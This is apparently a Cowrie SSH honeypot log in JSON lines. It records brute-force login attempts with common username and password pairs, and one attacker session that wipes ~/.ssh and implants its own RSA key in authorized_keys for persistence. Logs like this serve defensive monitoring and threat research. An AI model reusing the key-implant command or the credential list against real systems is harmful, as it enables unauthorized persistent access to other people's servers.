{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:56.534503Z","src_ip":"103.59.94.61","session":"c7cde418628c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nikita","password":"nikitanikita","message":"login attempt [nikita/nikitanikita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:57.572915Z","src_ip":"103.59.94.61","session":"c7cde418628c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:45:58.826985Z","src_ip":"103.59.94.61","session":"c7cde418628c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":42534,"dst_ip":"159.203.135.109","dst_port":22,"session":"347e34998dab","protocol":"ssh","message":"New connection: 45.232.73.84:42534 (159.203.135.109:22) [session: 347e34998dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:05.779367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:05.784758Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:05.915434Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Huawei@123#","message":"login attempt [root/Huawei@123#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:06.411815Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:06.719918Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:06.723235Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:06.726898Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:06.857883Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.147969Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.151459Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.288468Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.291880Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":42882,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5c95b39d215","protocol":"ssh","message":"New connection: 45.232.73.84:42882 (159.203.135.109:22) [session: d5c95b39d215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.408741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.414386Z","src_ip":"45.232.73.84","session":"d5c95b39d215","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:07.534948Z","src_ip":"45.232.73.84","session":"d5c95b39d215","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:08.036993Z","src_ip":"45.232.73.84","session":"d5c95b39d215","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:09.215324Z","src_ip":"45.232.73.84","session":"d5c95b39d215","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":43382,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7cc80231822","protocol":"ssh","message":"New connection: 45.232.73.84:43382 (159.203.135.109:22) [session: d7cc80231822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:09.335735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:09.340284Z","src_ip":"45.232.73.84","session":"d7cc80231822","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:09.468458Z","src_ip":"45.232.73.84","session":"d7cc80231822","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:10.002872Z","src_ip":"45.232.73.84","session":"d7cc80231822","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:10.133833Z","src_ip":"45.232.73.84","session":"347e34998dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:10.138412Z","src_ip":"45.232.73.84","session":"d7cc80231822","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.105.63.214","src_port":40332,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fd9ca58ba02","protocol":"ssh","message":"New connection: 172.105.63.214:40332 (10.17.0.5:22) [session: 0fd9ca58ba02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:16.042463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:16.046270Z","src_ip":"172.105.63.214","session":"0fd9ca58ba02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:16.240797Z","src_ip":"172.105.63.214","session":"0fd9ca58ba02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest1234","message":"login attempt [guest/guest1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:16.633482Z","src_ip":"172.105.63.214","session":"0fd9ca58ba02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:17.830583Z","src_ip":"172.105.63.214","session":"0fd9ca58ba02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.236.235","src_port":58596,"dst_ip":"159.203.135.109","dst_port":22,"session":"160bd8e1abe9","protocol":"ssh","message":"New connection: 182.52.236.235:58596 (159.203.135.109:22) [session: 160bd8e1abe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:29.547758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:29.551332Z","src_ip":"182.52.236.235","session":"160bd8e1abe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:29.795704Z","src_ip":"182.52.236.235","session":"160bd8e1abe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nuc","password":"nuc","message":"login attempt [nuc/nuc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:30.791731Z","src_ip":"182.52.236.235","session":"160bd8e1abe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:32.035152Z","src_ip":"182.52.236.235","session":"160bd8e1abe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":39022,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c2c64b4d787","protocol":"ssh","message":"New connection: 135.181.101.111:39022 (10.17.0.5:22) [session: 0c2c64b4d787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:35.997693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:36.002262Z","src_ip":"135.181.101.111","session":"0c2c64b4d787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:36.110563Z","src_ip":"135.181.101.111","session":"0c2c64b4d787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edi","password":"12345","message":"login attempt [edi/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:46:36.330649Z","src_ip":"135.181.101.111","session":"0c2c64b4d787","protocol":"ssh"}
